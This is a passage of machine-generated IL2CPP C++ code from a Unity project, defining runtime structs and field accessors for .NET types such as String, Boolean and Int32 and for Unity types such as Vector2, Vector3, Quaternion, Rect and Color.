inline static int32_t get_offset_of_Empty_5() { return static_cast<int32_t>(offsetof(String_t_StaticFields, ___Empty_5)); }
inline String_t* get_Empty_5() const { return ___Empty_5; }
inline String_t** get_address_of_Empty_5() { return &___Empty_5; }
inline void set_Empty_5(String_t* value)
{
___Empty_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&___Empty_5), (void*)value);
}
};
// System.ValueType
struct ValueType_t4D0C27076F7C36E76190FB3328E232BCB1CD1FFF : public RuntimeObject
{
public:
public:
};
// Native definition for P/Invoke marshalling of System.ValueType
struct ValueType_t4D0C27076F7C36E76190FB3328E232BCB1CD1FFF_marshaled_pinvoke
{
};
// Native definition for COM marshalling of System.ValueType
struct ValueType_t4D0C27076F7C36E76190FB3328E232BCB1CD1FFF_marshaled_com
{
};
// UnityEngine.RectTransformUtility
struct RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA : public RuntimeObject
{
public:
public:
};
struct RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_StaticFields
{
public:
// UnityEngine.Vector3[] UnityEngine.RectTransformUtility::s_Corners
Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* ___s_Corners_0;
public:
inline static int32_t get_offset_of_s_Corners_0() { return static_cast<int32_t>(offsetof(RectTransformUtility_t9B90669A72B05A33DD88BEBB817BC9CDBB614BBA_StaticFields, ___s_Corners_0)); }
inline Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* get_s_Corners_0() const { return ___s_Corners_0; }
inline Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28** get_address_of_s_Corners_0() { return &___s_Corners_0; }
inline void set_s_Corners_0(Vector3U5BU5D_tB9EC3346CC4A0EA5447D968E84A9AC1F6F372C28* value)
{
___s_Corners_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___s_Corners_0), (void*)value);
}
};
// UnityEngine.UISystemProfilerApi
struct UISystemProfilerApi_tD33E558B2D0176096E5DB375956ACA9F03678F1B : public RuntimeObject
{
public:
public:
};
// System.Boolean
struct Boolean_tB53F6830F670160873277339AA58F15CAED4399C
{
public:
// System.Boolean System.Boolean::m_value
bool ___m_value_0;
public:
inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Boolean_tB53F6830F670160873277339AA58F15CAED4399C, ___m_value_0)); }
inline bool get_m_value_0() const { return ___m_value_0; }
inline bool* get_address_of_m_value_0() { return &___m_value_0; }
inline void set_m_value_0(bool value)
{
___m_value_0 = value;
}
};
struct Boolean_tB53F6830F670160873277339AA58F15CAED4399C_StaticFields
{
public:
// System.String System.Boolean::TrueString
String_t* ___TrueString_5;
// System.String System.Boolean::FalseString
String_t* ___FalseString_6;
public:
inline static int32_t get_offset_of_TrueString_5() { return static_cast<int32_t>(offsetof(Boolean_tB53F6830F670160873277339AA58F15CAED4399C_StaticFields, ___TrueString_5)); }
inline String_t* get_TrueString_5() const { return ___TrueString_5; }
inline String_t** get_address_of_TrueString_5() { return &___TrueString_5; }
inline void set_TrueString_5(String_t* value)
{
___TrueString_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&___TrueString_5), (void*)value);
}
inline static int32_t get_offset_of_FalseString_6() { return static_cast<int32_t>(offsetof(Boolean_tB53F6830F670160873277339AA58F15CAED4399C_StaticFields, ___FalseString_6)); }
inline String_t* get_FalseString_6() const { return ___FalseString_6; }
inline String_t** get_address_of_FalseString_6() { return &___FalseString_6; }
inline void set_FalseString_6(String_t* value)
{
___FalseString_6 = value;
Il2CppCodeGenWriteBarrier((void**)(&___FalseString_6), (void*)value);
}
};
// System.Enum
struct Enum_t2AF27C02B8653AE29442467390005ABC74D8F521 : public ValueType_t4D0C27076F7C36E76190FB3328E232BCB1CD1FFF
{
public:
public:
};
struct Enum_t2AF27C02B8653AE29442467390005ABC74D8F521_StaticFields
{
public:
// System.Char[] System.Enum::enumSeperatorCharArray
CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___enumSeperatorCharArray_0;
public:
inline static int32_t get_offset_of_enumSeperatorCharArray_0() { return static_cast<int32_t>(offsetof(Enum_t2AF27C02B8653AE29442467390005ABC74D8F521_StaticFields, ___enumSeperatorCharArray_0)); }
inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* get_enumSeperatorCharArray_0() const { return ___enumSeperatorCharArray_0; }
inline CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2** get_address_of_enumSeperatorCharArray_0() { return &___enumSeperatorCharArray_0; }
inline void set_enumSeperatorCharArray_0(CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* value)
{
___enumSeperatorCharArray_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___enumSeperatorCharArray_0), (void*)value);
}
};
// Native definition for P/Invoke marshalling of System.Enum
struct Enum_t2AF27C02B8653AE29442467390005ABC74D8F521_marshaled_pinvoke
{
};
// Native definition for COM marshalling of System.Enum
struct Enum_t2AF27C02B8653AE29442467390005ABC74D8F521_marshaled_com
{
};
// System.Int32
struct Int32_t585191389E07734F19F3156FF88FB3EF4800D102
{
public:
// System.Int32 System.Int32::m_value
int32_t ___m_value_0;
public:
inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Int32_t585191389E07734F19F3156FF88FB3EF4800D102, ___m_value_0)); }
inline int32_t get_m_value_0() const { return ___m_value_0; }
inline int32_t* get_address_of_m_value_0() { return &___m_value_0; }
inline void set_m_value_0(int32_t value)
{
___m_value_0 = value;
}
};
// System.IntPtr
struct IntPtr_t
{
public:
// System.Void* System.IntPtr::m_value
void* ___m_value_0;
public:
inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(IntPtr_t, ___m_value_0)); }
inline void* get_m_value_0() const { return ___m_value_0; }
inline void** get_address_of_m_value_0() { return &___m_value_0; }
inline void set_m_value_0(void* value)
{
___m_value_0 = value;
}
};
struct IntPtr_t_StaticFields
{
public:
// System.IntPtr System.IntPtr::Zero
intptr_t ___Zero_1;
public:
inline static int32_t get_offset_of_Zero_1() { return static_cast<int32_t>(offsetof(IntPtr_t_StaticFields, ___Zero_1)); }
inline intptr_t get_Zero_1() const { return ___Zero_1; }
inline intptr_t* get_address_of_Zero_1() { return &___Zero_1; }
inline void set_Zero_1(intptr_t value)
{
___Zero_1 = value;
}
};
// System.Single
struct Single_tDDDA9169C4E4E308AC6D7A824F9B28DC82204AE1
{
public:
// System.Single System.Single::m_value
float ___m_value_0;
public:
inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Single_tDDDA9169C4E4E308AC6D7A824F9B28DC82204AE1, ___m_value_0)); }
inline float get_m_value_0() const { return ___m_value_0; }
inline float* get_address_of_m_value_0() { return &___m_value_0; }
inline void set_m_value_0(float value)
{
___m_value_0 = value;
}
};
// System.Void
struct Void_t22962CB4C05B1D89B55A6E1139F0E87A90987017
{
public:
union
{
struct
{
};
uint8_t Void_t22962CB4C05B1D89B55A6E1139F0E87A90987017__padding[1];
};
public:
};
// UnityEngine.Color
struct Color_t119BCA590009762C7223FDD3AF9706653AC84ED2
{
public:
// System.Single UnityEngine.Color::r
float ___r_0;
// System.Single UnityEngine.Color::g
float ___g_1;
// System.Single UnityEngine.Color::b
float ___b_2;
// System.Single UnityEngine.Color::a
float ___a_3;
public:
inline static int32_t get_offset_of_r_0() { return static_cast<int32_t>(offsetof(Color_t119BCA590009762C7223FDD3AF9706653AC84ED2, ___r_0)); }
inline float get_r_0() const { return ___r_0; }
inline float* get_address_of_r_0() { return &___r_0; }
inline void set_r_0(float value)
{
___r_0 = value;
}
inline static int32_t get_offset_of_g_1() { return static_cast<int32_t>(offsetof(Color_t119BCA590009762C7223FDD3AF9706653AC84ED2, ___g_1)); }
inline float get_g_1() const { return ___g_1; }
inline float* get_address_of_g_1() { return &___g_1; }
inline void set_g_1(float value)
{
___g_1 = value;
}
inline static int32_t get_offset_of_b_2() { return static_cast<int32_t>(offsetof(Color_t119BCA590009762C7223FDD3AF9706653AC84ED2, ___b_2)); }
inline float get_b_2() const { return ___b_2; }
inline float* get_address_of_b_2() { return &___b_2; }
inline void set_b_2(float value)
{
___b_2 = value;
}
inline static int32_t get_offset_of_a_3() { return static_cast<int32_t>(offsetof(Color_t119BCA590009762C7223FDD3AF9706653AC84ED2, ___a_3)); }
inline float get_a_3() const { return ___a_3; }
inline float* get_address_of_a_3() { return &___a_3; }
inline void set_a_3(float value)
{
___a_3 = value;
}
};
// UnityEngine.Quaternion
struct Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357
{
public:
// System.Single UnityEngine.Quaternion::x
float ___x_0;
// System.Single UnityEngine.Quaternion::y
float ___y_1;
// System.Single UnityEngine.Quaternion::z
float ___z_2;
// System.Single UnityEngine.Quaternion::w
float ___w_3;
public:
inline static int32_t get_offset_of_x_0() { return static_cast<int32_t>(offsetof(Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357, ___x_0)); }
inline float get_x_0() const { return ___x_0; }
inline float* get_address_of_x_0() { return &___x_0; }
inline void set_x_0(float value)
{
___x_0 = value;
}
inline static int32_t get_offset_of_y_1() { return static_cast<int32_t>(offsetof(Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357, ___y_1)); }
inline float get_y_1() const { return ___y_1; }
inline float* get_address_of_y_1() { return &___y_1; }
inline void set_y_1(float value)
{
___y_1 = value;
}
inline static int32_t get_offset_of_z_2() { return static_cast<int32_t>(offsetof(Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357, ___z_2)); }
inline float get_z_2() const { return ___z_2; }
inline float* get_address_of_z_2() { return &___z_2; }
inline void set_z_2(float value)
{
___z_2 = value;
}
inline static int32_t get_offset_of_w_3() { return static_cast<int32_t>(offsetof(Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357, ___w_3)); }
inline float get_w_3() const { return ___w_3; }
inline float* get_address_of_w_3() { return &___w_3; }
inline void set_w_3(float value)
{
___w_3 = value;
}
};
struct Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357_StaticFields
{
public:
// UnityEngine.Quaternion UnityEngine.Quaternion::identityQuaternion
Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357 ___identityQuaternion_4;
public:
inline static int32_t get_offset_of_identityQuaternion_4() { return static_cast<int32_t>(offsetof(Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357_StaticFields, ___identityQuaternion_4)); }
inline Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357 get_identityQuaternion_4() const { return ___identityQuaternion_4; }
inline Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357 * get_address_of_identityQuaternion_4() { return &___identityQuaternion_4; }
inline void set_identityQuaternion_4(Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357 value)
{
___identityQuaternion_4 = value;
}
};
// UnityEngine.Rect
struct Rect_t35B976DE901B5423C11705E156938EA27AB402CE
{
public:
// System.Single UnityEngine.Rect::m_XMin
float ___m_XMin_0;
// System.Single UnityEngine.Rect::m_YMin
float ___m_YMin_1;
// System.Single UnityEngine.Rect::m_Width
float ___m_Width_2;
// System.Single UnityEngine.Rect::m_Height
float ___m_Height_3;
public:
inline static int32_t get_offset_of_m_XMin_0() { return static_cast<int32_t>(offsetof(Rect_t35B976DE901B5423C11705E156938EA27AB402CE, ___m_XMin_0)); }
inline float get_m_XMin_0() const { return ___m_XMin_0; }
inline float* get_address_of_m_XMin_0() { return &___m_XMin_0; }
inline void set_m_XMin_0(float value)
{
___m_XMin_0 = value;
}
inline static int32_t get_offset_of_m_YMin_1() { return static_cast<int32_t>(offsetof(Rect_t35B976DE901B5423C11705E156938EA27AB402CE, ___m_YMin_1)); }
inline float get_m_YMin_1() const { return ___m_YMin_1; }
inline float* get_address_of_m_YMin_1() { return &___m_YMin_1; }
inline void set_m_YMin_1(float value)
{
___m_YMin_1 = value;
}
inline static int32_t get_offset_of_m_Width_2() { return static_cast<int32_t>(offsetof(Rect_t35B976DE901B5423C11705E156938EA27AB402CE, ___m_Width_2)); }
inline float get_m_Width_2() const { return ___m_Width_2; }
inline float* get_address_of_m_Width_2() { return &___m_Width_2; }
inline void set_m_Width_2(float value)
{
___m_Width_2 = value;
}
inline static int32_t get_offset_of_m_Height_3() { return static_cast<int32_t>(offsetof(Rect_t35B976DE901B5423C11705E156938EA27AB402CE, ___m_Height_3)); }
inline float get_m_Height_3() const { return ___m_Height_3; }
inline float* get_address_of_m_Height_3() { return &___m_Height_3; }
inline void set_m_Height_3(float value)
{
___m_Height_3 = value;
}
};
// UnityEngine.Vector2
struct Vector2_tA85D2DD88578276CA8A8796756458277E72D073D
{
public:
// System.Single UnityEngine.Vector2::x
float ___x_0;
// System.Single UnityEngine.Vector2::y
float ___y_1;
public:
inline static int32_t get_offset_of_x_0() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D, ___x_0)); }
inline float get_x_0() const { return ___x_0; }
inline float* get_address_of_x_0() { return &___x_0; }
inline void set_x_0(float value)
{
___x_0 = value;
}
inline static int32_t get_offset_of_y_1() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D, ___y_1)); }
inline float get_y_1() const { return ___y_1; }
inline float* get_address_of_y_1() { return &___y_1; }
inline void set_y_1(float value)
{
___y_1 = value;
}
};
struct Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields
{
public:
// UnityEngine.Vector2 UnityEngine.Vector2::zeroVector
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___zeroVector_2;
// UnityEngine.Vector2 UnityEngine.Vector2::oneVector
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___oneVector_3;
// UnityEngine.Vector2 UnityEngine.Vector2::upVector
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___upVector_4;
// UnityEngine.Vector2 UnityEngine.Vector2::downVector
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___downVector_5;
// UnityEngine.Vector2 UnityEngine.Vector2::leftVector
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___leftVector_6;
// UnityEngine.Vector2 UnityEngine.Vector2::rightVector
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___rightVector_7;
// UnityEngine.Vector2 UnityEngine.Vector2::positiveInfinityVector
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___positiveInfinityVector_8;
// UnityEngine.Vector2 UnityEngine.Vector2::negativeInfinityVector
Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___negativeInfinityVector_9;
public:
inline static int32_t get_offset_of_zeroVector_2() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields, ___zeroVector_2)); }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D get_zeroVector_2() const { return ___zeroVector_2; }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * get_address_of_zeroVector_2() { return &___zeroVector_2; }
inline void set_zeroVector_2(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D value)
{
___zeroVector_2 = value;
}
inline static int32_t get_offset_of_oneVector_3() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields, ___oneVector_3)); }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D get_oneVector_3() const { return ___oneVector_3; }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * get_address_of_oneVector_3() { return &___oneVector_3; }
inline void set_oneVector_3(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D value)
{
___oneVector_3 = value;
}
inline static int32_t get_offset_of_upVector_4() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields, ___upVector_4)); }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D get_upVector_4() const { return ___upVector_4; }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * get_address_of_upVector_4() { return &___upVector_4; }
inline void set_upVector_4(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D value)
{
___upVector_4 = value;
}
inline static int32_t get_offset_of_downVector_5() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields, ___downVector_5)); }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D get_downVector_5() const { return ___downVector_5; }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * get_address_of_downVector_5() { return &___downVector_5; }
inline void set_downVector_5(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D value)
{
___downVector_5 = value;
}
inline static int32_t get_offset_of_leftVector_6() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields, ___leftVector_6)); }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D get_leftVector_6() const { return ___leftVector_6; }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * get_address_of_leftVector_6() { return &___leftVector_6; }
inline void set_leftVector_6(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D value)
{
___leftVector_6 = value;
}
inline static int32_t get_offset_of_rightVector_7() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields, ___rightVector_7)); }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D get_rightVector_7() const { return ___rightVector_7; }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * get_address_of_rightVector_7() { return &___rightVector_7; }
inline void set_rightVector_7(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D value)
{
___rightVector_7 = value;
}
inline static int32_t get_offset_of_positiveInfinityVector_8() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields, ___positiveInfinityVector_8)); }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D get_positiveInfinityVector_8() const { return ___positiveInfinityVector_8; }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * get_address_of_positiveInfinityVector_8() { return &___positiveInfinityVector_8; }
inline void set_positiveInfinityVector_8(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D value)
{
___positiveInfinityVector_8 = value;
}
inline static int32_t get_offset_of_negativeInfinityVector_9() { return static_cast<int32_t>(offsetof(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D_StaticFields, ___negativeInfinityVector_9)); }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D get_negativeInfinityVector_9() const { return ___negativeInfinityVector_9; }
inline Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * get_address_of_negativeInfinityVector_9() { return &___negativeInfinityVector_9; }
inline void set_negativeInfinityVector_9(Vector2_tA85D2DD88578276CA8A8796756458277E72D073D value)
{
___negativeInfinityVector_9 = value;
}
};
// UnityEngine.Vector3
struct Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720
{
public:
// System.Single UnityEngine.Vector3::x
float ___x_2;
// System.Single UnityEngine.Vector3::y
float ___y_3;
// System.Single UnityEngine.Vector3::z
float ___z_4;
public:
inline static int32_t get_offset_of_x_2() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720, ___x_2)); }
inline float get_x_2() const { return ___x_2; }
inline float* get_address_of_x_2() { return &___x_2; }
inline void set_x_2(float value)
{
___x_2 = value;
}
inline static int32_t get_offset_of_y_3() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720, ___y_3)); }
inline float get_y_3() const { return ___y_3; }
inline float* get_address_of_y_3() { return &___y_3; }
inline void set_y_3(float value)
{
___y_3 = value;
}
inline static int32_t get_offset_of_z_4() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720, ___z_4)); }
inline float get_z_4() const { return ___z_4; }
inline float* get_address_of_z_4() { return &___z_4; }
inline void set_z_4(float value)
{
___z_4 = value;
}
};
struct Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields
{
public:
// UnityEngine.Vector3 UnityEngine.Vector3::zeroVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___zeroVector_5;
// UnityEngine.Vector3 UnityEngine.Vector3::oneVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___oneVector_6;
// UnityEngine.Vector3 UnityEngine.Vector3::upVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___upVector_7;
// UnityEngine.Vector3 UnityEngine.Vector3::downVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___downVector_8;
// UnityEngine.Vector3 UnityEngine.Vector3::leftVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___leftVector_9;
// UnityEngine.Vector3 UnityEngine.Vector3::rightVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___rightVector_10;
// UnityEngine.Vector3 UnityEngine.Vector3::forwardVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___forwardVector_11;
// UnityEngine.Vector3 UnityEngine.Vector3::backVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___backVector_12;
// UnityEngine.Vector3 UnityEngine.Vector3::positiveInfinityVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___positiveInfinityVector_13;
// UnityEngine.Vector3 UnityEngine.Vector3::negativeInfinityVector
Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 ___negativeInfinityVector_14;
public:
inline static int32_t get_offset_of_zeroVector_5() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___zeroVector_5)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_zeroVector_5() const { return ___zeroVector_5; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_zeroVector_5() { return &___zeroVector_5; }
inline void set_zeroVector_5(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___zeroVector_5 = value;
}
inline static int32_t get_offset_of_oneVector_6() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___oneVector_6)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_oneVector_6() const { return ___oneVector_6; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_oneVector_6() { return &___oneVector_6; }
inline void set_oneVector_6(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___oneVector_6 = value;
}
inline static int32_t get_offset_of_upVector_7() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___upVector_7)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_upVector_7() const { return ___upVector_7; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_upVector_7() { return &___upVector_7; }
inline void set_upVector_7(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___upVector_7 = value;
}
inline static int32_t get_offset_of_downVector_8() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___downVector_8)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_downVector_8() const { return ___downVector_8; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_downVector_8() { return &___downVector_8; }
inline void set_downVector_8(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___downVector_8 = value;
}
inline static int32_t get_offset_of_leftVector_9() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___leftVector_9)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_leftVector_9() const { return ___leftVector_9; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_leftVector_9() { return &___leftVector_9; }
inline void set_leftVector_9(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___leftVector_9 = value;
}
inline static int32_t get_offset_of_rightVector_10() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___rightVector_10)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_rightVector_10() const { return ___rightVector_10; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_rightVector_10() { return &___rightVector_10; }
inline void set_rightVector_10(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___rightVector_10 = value;
}
inline static int32_t get_offset_of_forwardVector_11() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___forwardVector_11)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_forwardVector_11() const { return ___forwardVector_11; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_forwardVector_11() { return &___forwardVector_11; }
inline void set_forwardVector_11(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___forwardVector_11 = value;
}
inline static int32_t get_offset_of_backVector_12() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___backVector_12)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_backVector_12() const { return ___backVector_12; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_backVector_12() { return &___backVector_12; }
inline void set_backVector_12(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___backVector_12 = value;
}
inline static int32_t get_offset_of_positiveInfinityVector_13() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___positiveInfinityVector_13)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_positiveInfinityVector_13() const { return ___positiveInfinityVector_13; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_positiveInfinityVector_13() { return &___positiveInfinityVector_13; }
inline void set_positiveInfinityVector_13(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___positiveInfinityVector_13 = value;
}
inline static int32_t get_offset_of_negativeInfinityVector_14() { return static_cast<int32_t>(offsetof(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720_StaticFields, ___negativeInfinityVector_14)); }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 get_negativeInfinityVector_14() const { return ___negativeInfinityVector_14; }
inline Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * get_address_of_negativeInfinityVector_14() { return &___negativeInfinityVector_14; }
inline void set_negativeInfinityVector_14(Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 value)
{
___negativeInfinityVector_14 = value;
}
};
// System.Delegate
struct Delegate_t : public RuntimeObject
{
public:
// System.IntPtr System.Delegate::method_ptr
Il2CppMethodPointer ___method_ptr_0;
// System.IntPtr System.Delegate::invoke_impl
intptr_t ___invoke_impl_1;
// System.Object System.Delegate::m_target
RuntimeObject * ___m_target_2;
// System.IntPtr System.Delegate::method
intptr_t ___method_3;
// System.IntPtr System.Delegate::delegate_trampoline
intptr_t ___delegate_trampoline_4;
// System.IntPtr System.Delegate::extra_arg
intptr_t ___extra_arg_5;
// System.IntPtr System.Delegate::method_code
intptr_t ___method_code_6;
// System.Reflection.MethodInfo System.Delegate::method_info
MethodInfo_t * ___method_info_7;
// System.Reflection.MethodInfo System.Delegate::original_method_info
MethodInfo_t * ___original_method_info_8;
// System.DelegateData System.Delegate::data
DelegateData_t1BF9F691B56DAE5F8C28C5E084FDE94F15F27BBE * ___data_9;
// System.Boolean System.Delegate::method_is_virtual
bool ___method_is_virtual_10;
public:
inline static int32_t get_offset_of_method_ptr_0() { return static_cast<int32_t>(offsetof(Delegate_t, ___method_ptr_0)); }
inline Il2CppMethodPointer get_method_ptr_0() const { return ___method_ptr_0; }
inline Il2CppMethodPointer* get_address_of_method_ptr_0() { return &___method_ptr_0; }
inline void set_method_ptr_0(Il2CppMethodPointer value)
{
___method_ptr_0 = value;
}
inline static int32_t get_offset_of_invoke_impl_1() { return static_cast<int32_t>(offsetof(Delegate_t, ___invoke_impl_1)); }
inline intptr_t get_invoke_impl_1() const { return ___invoke_impl_1; }
inline intptr_t* get_address_of_invoke_impl_1() { return &___invoke_impl_1; }
inline void set_invoke_impl_1(intptr_t value)
{
___invoke_impl_1 = value;
}
inline static int32_t get_offset_of_m_target_2() { return static_cast<int32_t>(offsetof(Delegate_t, ___m_target_2)); }
inline RuntimeObject * get_m_target_2() const { return ___m_target_2; }
inline RuntimeObject ** get_address_of_m_target_2() { return &___m_target_2; }
inline void set_m_target_2(RuntimeObject * value)
{
___m_target_2 = value;
Il2CppCodeGenWriteBarrier((void**)(&___m_target_2), (void*)value);
}
inline static int32_t get_offset_of_method_3() { return static_cast<int32_t>(offsetof(Delegate_t, ___method_3)); }
inline intptr_t get_method_3() const { return ___method_3; }
inline intptr_t* get_address_of_method_3() { return &___method_3; }
inline void set_method_3(intptr_t value)
{
